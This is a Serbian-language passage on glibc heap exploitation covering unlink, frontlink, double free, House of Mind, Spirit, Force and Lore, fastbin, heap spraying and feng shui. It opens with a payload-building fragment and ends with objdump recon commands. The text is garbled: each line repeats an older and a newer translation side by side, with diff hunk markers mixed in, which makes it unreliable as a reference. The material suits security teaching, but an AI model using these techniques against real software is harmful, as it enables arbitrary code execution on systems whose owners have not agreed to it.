**payload += prev\_size + fake\_size + got\_free + addr\_sc #Menja se 2. deo, got\_free pokazuje gde ćemo sačuvati adresu addr\_sc + 12** **payload += prev\_size + fake\_size + got\_free + addr\_sc #Modifikuje se 2. deo, got\_free pokazuje na gde ćemo sačuvati adresu addr\_sc + 12**
**os.system("./8.3.o " + payload)** **os.system("./8.3.o " + payload)**
**unset() oslobađanje u obrnutom redosledu (wargame)** **unset() oslobađajući u obrnutom redosledu (wargame)**
Kontrolišemo 3 uzastopna chunk-a i oslobađaju se u obrnutom redosledu od rezervisanja. Kontrolišemo 3 uzastopna dela i oslobađaju se u obrnutom redosledu od rezervisanih.
U tom slučaju: U tom slučaju:
U chunk c se stavlja shell kod U delu c stavljamo shellcode
Chunk a koristimo da prepisujemo b tako da size ima deaktiviran bit PREV\_INUSE tako da misli da je chunk a slobodan. Deo a koristimo da prepišemo b tako da size ima bit PREV\_INUSE deaktiviran, tako da misli da je deo a slobodan.
Takođe, u zaglavlju b se prepisuje size da bude -4. Pored toga, prepisujemo u zaglavlju b size da bude -4.
Zatim, program će misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odvoji. Međutim, pošto je PREV\_SIZE u zaglavlju -4, misliće da deo "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na deo koji počinje na b+4, tako da će na b+12 biti pokazivač "fd", a na b+16 će biti pokazivač "bk". Tako, program će misliti da je “a” slobodan i u binu, tako da će pozvati unlink() da ga odveže. Međutim, pošto zaglavlje PREV\_SIZE vredi -4, misliće da deo “a” zapravo počinje u b+4. Drugim rečima, izvršiće unlink() na deo koji počinje u b+4, tako da će u b+12 biti pokazivač “fd” i u b+16 će biti pokazivač “bk”.
Na taj način, ako stavimo adresu shell koda u bk i adresu funkcije "puts()" -12 u fd, imamo naš payload. Na ovaj način, ako u bk stavimo adresu do shellcode i u fd stavimo adresu do funkcije “puts()”-12, imamo naš payload.
**Tehnika Frontlink** **Frontlink tehnika**
Poziva se frontlink kada se nešto oslobodi i nijedan od susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink(). Naziva se frontlink kada se oslobađa nešto i nijedan od njegovih susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().
Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()). Koristan je ranjivost kada se malloc koji se napada nikada ne oslobađa (free()).
Potrebno je: Potrebno je:
Buffer koji može biti preplavljen funkcijom za unos podataka Buffer koji može da se preplavi sa funkcijom za unos podataka
Buffer koji je susedan ovom koji treba da se oslobodi i čiji će se polje fd u zaglavlju promeniti zbog prelivanja prethodnog bafera Buffer koji je susedni ovom koji mora biti oslobođen i kojem će se modifikovati polje fd njegovog zaglavlja zahvaljujući preplavljivanju prethodnog buffera
Buffer koji treba osloboditi sa veličinom većom od 512 ali manjom od prethodnog bafera Buffer za oslobađanje sa veličinom većom od 512 ali manjom od prethodnog buffera
Buffer koji je deklarisan pre koraka 3 koji omogućava prepisivanje prev\_size ovog bafera Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev\_size ovog
Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se oslobađa samo jednom, možemo napraviti eksploit. Na ovaj način, postizanjem prepisivanja u dva malloc-a na neuredan način i u jednom na kontrolisan način, ali se oslobađa samo taj jedan, možemo napraviti exploit.
**Ranjivost double free()** **Ranjivost double free()**
Ako se dva puta pozove free() sa istim pokazivačem, dva bin-a pokazuju na istu adresu. Ako se pozove free() dva puta sa istim pokazivačem, ostaju dva bina koja pokazuju na istu adresu.
U slučaju da želimo ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da želimo koristiti drugi, dodeliće se isti prostor, tako da bismo imali lažne pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija. U slučaju da želite ponovo da koristite jedan, dodeliće se bez problema. U slučaju da želite da koristite drugi, dodeliće se isti prostor, tako da ćemo imati pokazivače “fd” i “bk” lažirane sa podacima koje će pisati prethodna rezervacija.
**After free()** **After free()**
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole. Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
## **8 Heap Overflow: Napredni eksploiti** ## **8 Heap Overflows: Napredni exploits**
Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink(). Tehnike Unlink() i FrontLink() su uklonjene modifikovanjem funkcije unlink().
**The house of mind** **Kuća uma**
Samo jedan poziv free() je potreban da bi se izvršio proizvoljni kod. Bitno je pronaći drugi deo koji može biti preplavljen od strane prethodnog i oslobođen. Samo jedan poziv na free() je potreban da izazove izvršavanje proizvoljnog koda. Važno je potražiti drugi deo koji može biti preplavljen od prethodnog i oslobođen.
Poziv free() dovodi do poziva public\_fREe(mem), koji radi: Jedan poziv na free() izaziva poziv na public\_fREe(mem), ovaj radi:
mstate ar\_ptr; mstate ar\_ptr;
@ -344,7 +332,7 @@ mchunkptr p;
p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje deo (mem-8) p = mem2chunk(mem); —> Vraća pokazivač na adresu gde počinje deo (mem-8)
@ -356,11 +344,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
} }
U \[1] proverava polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struct heap\_info) U \[1] proverava se polje size bit NON\_MAIN\_ARENA, koji se može izmeniti da provera vrati true i izvrši heap\_for\_ptr() koji radi and na “mem” ostavljajući 0 na 2.5 manje bitova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info)
Na ovaj način, ako možemo kontrolisati deo na primer na 0x0804a000 i deo na **0x081002a0** će biti oslobođen, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, naći će da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr) Na ovaj način, ako možemo kontrolisati deo na primer u 0x0804a000 i oslobađa se deo u **0x081002a0**, možemo doći do adrese 0x08100000 i pisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, otkriće da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo napisali u 0x08100000 (jer se primenjuje and na 0x081002a0 i odatle se uzima vrednost prvih 4 bajta, ar\_ptr)
Na taj način se poziva \_int\_free(ar\_ptr, mem), odnosno **\_int\_free(0x0804a000, 0x081002a0)**\ Na ovaj način se poziva \_int\_free(ar\_ptr, mem), tj. **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\ **\_int\_free(mstate av, Void\_t\* mem){**\
…\ …\
bck = unsorted\_chunks(av);\ bck = unsorted\_chunks(av);\
@ -372,33 +360,34 @@ fwd->bk = p;
..} ..}
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u delu koji će biti oslobođen. Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što smo napisali u delu koji će se osloboditi.
Kako je definisano unsorted\_chunks, znamo da:\ Kao što je definisano unsorted\_chunks, znamo da:\
bck = \&av->bins\[2]-8;\ bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\ fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p; fwd->bk = \*(av->bins\[2] + 12) = p;
Stoga, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će biti upisana vrednost u \_\_DTOR\_END\_\_ adresa drugog dela. Dakle, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR\_END\_\_ adresa drugog dela.
Drugim rečima, na početku prvog dela moramo staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući. Drugim rečima, u prvom delu moramo staviti na početak više puta adresu \_\_DTOR\_END\_\_-12 jer će odatle uzeti av->bins\[2]
Na adresi na koju padne adresa drugog dela sa poslednjih 5 nula, treba upisati adresu ovog prvog dela kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog dela i izvukao av->bins\[2] odatle. Na adresi na kojoj padne adresa drugog dela sa poslednjih 5 nula, treba napisati adresu do ovog prvog dela kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog dela i izvukao odatle av->bins\[2]
U drugom delu, zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim što aktivira -> NON\_MAIN\_ARENA
Zatim u delu 2 stavljamo puno nops-a i na kraju shellcode U drugom delu i zahvaljujući prvom prepisujemo prev\_size sa jump 0x0c i size sa nečim da aktiviramo -> NON\_MAIN\_ARENA
Na taj način će se pozvati \_int\_free(TROZO1, TROZO2) i slijediti upute za pisanje u \_\_DTOR\_END\_\_ adresu prev\_size od TROZO2 koji će skočiti na shellcode. Zatim u delu 2 stavljamo gomilu nops i na kraju shellcode
Za primenu ove tehnike potrebno je ispuniti još neke zahteve koji malo komplikuju payload. Na ovaj način će se pozvati \_int\_free(TROZO1, TROZO2) i pratiti uputstva da se upiše u \_\_DTOR\_END\_\_ adresa prev\_size TROZO2 koji će skočiti na shellcode.
Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega. Da bi se primenila ova tehnika, potrebno je da se ispune neki dodatni zahtevi koji dodatno komplikuju payload.
Ova tehnika više nije primenljiva jer je primenjen gotovo isti zakrpa kao za unlink. Proverava se da li nova adresa na koju se pokazuje takođe pokazuje na nju.
**Fastbin** **Fastbin**
To je varijanta The house of mind To je varijanta Kuće uma
interesuje nas izvršavanje sledećeg koda koji se dostiže nakon prve provere funkcije \_int\_free() Zanima nas da izvršimo sledeći kod do kojeg se dolazi nakon prve provere funkcije \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2 fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2
@ -408,141 +397,142 @@ p->fd = \*fb
\*fb = p \*fb = p
Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT-u, na toj adresi će se postaviti adresa prepisanog dela. Za ovo će biti potrebno da je arena blizu adresa dtors-a. Tačnije, av->max\_fast treba da bude adresa koju ćemo prepisati. Na ovaj način, ako stavimo u “fb” adresu funkcije u GOT, na ovoj adresi će se staviti adresa do prepisanog dela. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, da av->max\_fast bude na adresi koju ćemo prepisati.
S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av. S obzirom na to da smo sa Kućom uma videli da kontrolišemo poziciju av.
Zato ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast Dakle, ako u polje size stavimo veličinu od 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će nam vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
U ovom slučaju av->max\_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana). U ovom slučaju av->max\_fast će biti adresa koja će se prepisati (ne na koju pokazuje, već ta pozicija će se prepisati).
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops). Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 8, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops).
Takođe, isti lažni deo mora biti manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova. Pored toga, taj isti lažni deo mora biti manji od av->system\_mem. av->system\_mem se nalazi 1848 bajtova dalje.
Zbog nula u \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek. Zbog nula u \_DTOR\_END\_ i malo adresa u GOT, nijedna adresa ovih sekcija ne može se prepisati, tako da vidimo kako primeniti fastbin da napadnemo stek.
Još jedan način napada je preusmeravanje **av** ka steku. Drugi način napada je preusmeravanje **av** ka steku.
Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo iskoristiti ovo da prepisujemo stek. Ako modifikujemo size da bude 16 umesto 8, tada: fastbin\_index() će nam vratiti fastbins\[0] i možemo iskoristiti ovo da prepišemo stek.
Za ovo ne sme biti nikakvih canary-ja ili čudnih vrednosti na steku, zapravo moramo biti u ovom: 4 bajta nula + EBP + RET Za ovo ne sme biti nikakvih canary ili čudnih vrednosti na steku, zapravo se moramo nalaziti u njemu: 4 bajta nula + EBP + RET
Potrebna su 4 bajta nula kako bi **av** bio na toj adresi i prvi element **av** je mutex koji mora biti 0. 4 bajta nula su potrebna da **av** bude na ovoj adresi i prvi element **av** je mutexe koji mora biti 0.
**av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja. **av->max\_fast** će biti EBP i biće vrednost koja će nam poslužiti da preskočimo ograničenja.
U **av->fastbins\[0]** će se prepisati adresa **p** i biće RET, tako da će se skočiti na shellcode. U **av->fastbins\[0]** će se prepisati sa adresom **p** i biće RET, tako da će preskočiti na shellcode.
Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši. Pored toga, u **av->system\_mem** (1484 bajta iznad pozicije na steku) biće dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops koji dolaze nakon polja size novog lažnog dela). Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 16, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops koji dolaze nakon polja size novog lažnog dela).
**The House of Spirit** **Kuća duha**
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive). U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti izmenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg preplavljivanja promenljive).
Na taj način, mogli bismo da usmerimo ovaj pokazivač gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48. Tako bismo mogli učiniti da ovaj pokazivač pokazuje gde god hoćemo. Međutim, ne može svako mesto biti važno, veličina lažnog dela mora biti manja od av->max\_fast i specifično jednaka veličini zatraženoj u budućem pozivu malloc()+8. Zbog toga, ako znamo da nakon ovog ranjivog pokazivača pozivamo malloc(40), veličina lažnog dela mora biti jednaka 48.
Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem. Ako, na primer, program traži od korisnika broj, mogli bismo uneti 48 i usmeriti pokazivač modifikovanog malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostane iza, kao da je zaglavlje size). Pored toga, adresa ptr-4+48 mora ispunjavati nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem.
U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP-a. Ukoliko napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati kako EBP tako i EIP sa adresom koju želi. U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće se kao adresa adresa EBP-a. U slučaju da napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati i EBP i EIP sa adresom koju želi.
Ovo mislim da je zato što kada se oslobodi free() čuvaće da u adresi koja pokazuje na EBP steka postoji deo tačne veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu. Mislim da je to zato što će kada ga oslobodi free() sačuvati da na adresi koja pokazuje na EBP steka postoji deo savršene veličine za novi malloc() koji se želi rezervisati, tako da mu dodeljuje tu adresu.
**The House of Force** **Kuća sile**
Potrebno je: Potrebno je:
* Prekoračenje u delu koje omogućava prepisivanje wilderness-a * Preplavljivanje dela koje omogućava prepisivanje wilderness
* Poziv malloc() sa veličinom definisanom od strane korisnika * Poziv malloc() sa veličinom definisanom od strane korisnika
* Poziv malloc() čiji podaci mogu biti definisani od strane korisnika * Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
Prvo što se radi je prepisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa. Prvo što se radi je prepisivanje size dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaka zahtevana memorija dovoljno velika biti obrađena u \_int\_malloc() bez potrebe za proširenjem heap-a.
Drugo je promena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se postaviti \&EIP - 8. Drugo je izmeniti av->top da pokazuje na područje memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti \&EIP - 8.
Mora se prepisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača: Moramo prepisati av->top da pokazuje na područje memorije pod kontrolom napadača:
victim = av->top; victim = av->top;
remainder = chunck\_at\_offset(victim, nb); remainder = chunk\_at\_offset(victim, nb);
av->top = remainder; av->top = remainder;
Victim uzima vrednost adrese trenutnog dela wilderness-a (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom malloc-u kako bi av->top pokazivao na $EIP-8 za sledeći malloc(): Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus količina bajtova zatraženih od malloc(). Tako da ako \&EIP-8 bude u 0xbffff224 i av->top sadrži 0x080c2788, tada će količina koju moramo rezervisati u kontrolisanom malloc-u da av->top pokazuje na $EIP-8 za sledeći malloc() biti:
0xbffff224 - 0x080c2788 = 3086207644. 0xbffff224 - 0x080c2788 = 3086207644.
Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prepisati. Tako će se sačuvati u av->top izmenjena vrednost i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, veličina će biti tačno u polju EBP steka. Važno je znati da je size novog dela wilderness veći od zahteva postavljenog za poslednji malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, size će biti tačno u polju EBP steka.
**The House of Lore** **Kuća legende**
**Korupcija SmallBin** **Korupcija SmallBin**
Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen neće odmah biti ubačen u svoj bin već će ostati u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, biće vraćen, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins će biti ubačen u odgovarajući bin. Oslobođeni delovi se unose u bin u zavisnosti od njihove veličine. Ali pre nego što se unesu, čuvaju se u unsorted bins. Kada se deo oslobodi, ne unosi se odmah u svoj bin, već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobođeni može poslužiti, vraća mu se, ali ako se rezerviše veći, oslobođeni deo u unsorted bins se stavlja u svoj odgovarajući bin.
Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max\_fast (obično 72) i manji od MIN\_LARGE\_SIZE (512). Da bi se došlo do ranjivog koda, zahtev za memoriju mora biti veći od av->max\_fast (72 obično) i manji od MIN\_LARGE\_SIZE (512).
Ako u binu postoji komad odgovarajuće veličine zahtevanog, vraća se taj nakon što se odvoji:
bck = victim->bk; Pokazuje na prethodni komad, jedina informacija koju možemo promeniti. Ako u binu postoji deo odgovarajuće veličine za ono što se traži, vraća se taj nakon što se odveže:
bin->bk = bck; Pretposlednji komad postaje poslednji, u slučaju da bck pokazuje na stack sledećeg rezervisanog komada, dodeliće mu se ova adresa. bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo izmeniti.
bck->fd = bin; Lista se zatvara tako što ovaj pokazuje na bin bin->bk = bck; Pretposlednji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu će se dati ova adresa.
bck->fd = bin; Lista se zatvara tako da ovaj pokazuje na bin.
Potrebno je: Potrebno je:
Da se rezervišu dva malloc-a, tako da se prvom može izazvati prelivanje nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog komada pre prelivanja) Da se rezervišu dva malloc, tako da se prvom može napraviti overflow nakon što je drugi oslobođen i unet u svoj bin (tj. da je rezervisan malloc veći od drugog dela pre nego što se napravi overflow).
Da malloc rezervisan za koji je odabrana adresa od strane napadača bude kontrolisan od strane napadača. Da malloc rezervisan kojem se daje adresa izabrana od strane napadača bude pod kontrolom napadača.
Cilj je sledeći, ako možemo izazvati prelivanje na heap-u koji ima ispod sebe komad već oslobođen i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i ovaj komad postane prvi na listi bin i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji komad liste (sledeći koji nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Zbog toga, ako se ponovo rezerviše drugi komad i napadač ima dozvole na njemu, dobiće komad na željenoj poziciji i moći će da piše u njega. Cilj je sledeći, ako možemo napraviti overflow na heap koji ispod ima već oslobođeni deo i u svom binu, možemo izmeniti njegov pokazivač bk. Ako izmenimo njegov pokazivač bk i ovaj deo postane prvi u listi binova i rezerviše se, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo stavili (na stek ili GOT na primer). Tako da ako se ponovo rezerviše drugi deo i napadač ima dozvole za njega, dobiće deo na željenoj poziciji i moći će da piše u nju.
Nakon što se modifikovani komad oslobodi, potrebno je rezervisati komad veći od oslobođenog, tako da modifikovani komad izađe iz unsorted binova i ubaci se u svoj bin. Nakon oslobađanja modifikovanog dela, potrebno je rezervisati deo veći od oslobođenog, tako da će modifikovani deo izaći iz unsorted bins i uneti se u svoj bin.
Kada se nađe u svom binu, vreme je da se promeni njegov pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo. Jednom kada je u svom binu, vreme je da mu modifikujemo pokazivač bk putem overflow-a da pokazuje na adresu koju želimo da prepišemo.
Tako bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći komad na lažnoj adresi. Zatim će biti dat komad koji nas zanima. Tako će bin čekati red da se pozove malloc() dovoljno puta da se ponovo iskoristi modifikovani bin i prevari bin tako što će mu reći da je sledeći deo na lažnoj adresi. A zatim će se dati deo koji nas zanima.
Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog komada, rezervacija komada koji će se modifikovati, oslobođenje ovog komada, rezervacija komada većeg od onog koji će se modifikovati, modifikacija komada (ranjivost), rezervacija komada iste veličine kao ranjivi i rezervacija drugog komada iste veličine koji će pokazivati na odabranu adresu. Da bi se ranjivost izvršila što pre, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobađanje ovog dela, rezervacija dela veće veličine koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjivi i rezervacija drugog dela iste veličine i ovaj će biti onaj koji pokazuje na izabranu adresu.
Za zaštitu od ovog napada koristi se tipična provera da komad "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog komada pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo da bude sposoban da na neki način (verovatno preko stacka) upiše u odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi komad. Da bi se zaštitio od ovog napada, korišćena je tipična provera da deo “nije” lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog dela koji se pokazuje na steku pokazuje na victim. Da bi se prešla ova zaštita, napadač bi trebao biti u mogućnosti da na neki način (verovatno putem steka) napiše na odgovarajuću adresu adresu victim. Tako da izgleda kao pravi deo.
**Korupcija LargeBin** **Korupcija LargeBin**
Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani komadi moraju biti veći od 512. Potrebni su isti zahtevi kao ranije i još neki, pored toga, rezervisani delovi moraju biti veći od 512.
Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu modifikovanog komada tako da taj size - nb bude < MINSIZE. Napad je kao i prethodni, tj. mora se modifikovati pokazivač bk i potrebni su svi ti pozivi na malloc(), ali pored toga, treba modifikovati size modifikovanog dela tako da taj size - nb bude < MINSIZE.
Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned) Na primer, postaviće da je size 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne me biti negativno jer se upoređuje unsigned)
Takođe je uveden zakrpa da bi se to učinilo još komplikovanijim. Pored toga, uvedena je zakrpa da bi se to dodatno otežalo.
**Raspršivanje Heap-a** **Heap Spraying**
Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće se tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li je neki pokazivač prekoračen i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops. Osnovno se sastoji od rezervisanja što je moguće više memorije za heap i punjenja ovih sa jastučićem nops završenim shellcode-om. Pored toga, kao jastučić se koristi 0x0c. Tako da će se pokušati preskočiti na adresu 0x0c0c0c0c, i tako ako se prepiše neka adresa na koju će se pozvati sa ovim jastučićem, preskočiće se tamo. Osnovna taktika je rezervisati što je moguće više da vidimo da li se prepisuje neki pokazivač i preskočiti na 0x0c0c0c0c očekujući da tamo budu nops.
**Feng Shui Heap-a** **Heap Feng Shui**
Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se ostavili rezervisani komadi između slobodnih komada. Bafer za prelivanje će se nalaziti u jednom od tih komada. Sastoji se od rezervacija i oslobađanja kako bi se semenirala memorija tako da ostanu rezervisani delovi između slobodnih delova. Buffer koji se preplavljuje će se nalaziti u jednom od jaja.
**objdump -d izvršiv** —> Disas funkcije\ **objdump -d izvršni** —> Disas funkcije\
**objdump -d ./PROGRAMA | grep FUNKCIJA** —> Dobijanje adrese funkcije\ **objdump -d ./PROGRAMA | grep FUNKCIJA** —> Dobijanje adrese funkcije\
**objdump -d -Mintel ./shellcodeout** —> Da biste videli da li je zaista naš shellcode i izvukli OpCodes\ **objdump -d -Mintel ./shellcodeout** —> Da se vidi da je to zaista naš shellcode i izvuče OpCodes\
**objdump -t ./exec | grep varBss** —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija\ **objdump -t ./exec | grep varBss** —> Tabela simbola, da se izvuče adresa varijabli i funkcija\
**objdump -TR ./exec | grep exit(func lib)** —> Da biste izvukli adresu funkcija biblioteka (GOT)\ **objdump -TR ./exec | grep exit(func lib)** —> Da se izvuče adresa funkcija biblioteka (GOT)\
**objdump -d ./exec | grep funcCode**\ **objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\ **objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\ **objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koja će biti prepisana u GOT\ **objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koju treba prepisati u GOT\
**objdump -D ./exec** —> Disas sve do ulaza plt\ **objdump -D ./exec** —> Disas SVE do ulaza u plt\
**objdump -p -/exec**\ **objdump -p -/exec**\
**Info functions strncmp —>** Info o funkciji u gdb **Info functions strncmp —>** Info o funkciji u gdb
## Interesantni kursevi ## Zanimljivi kursevi
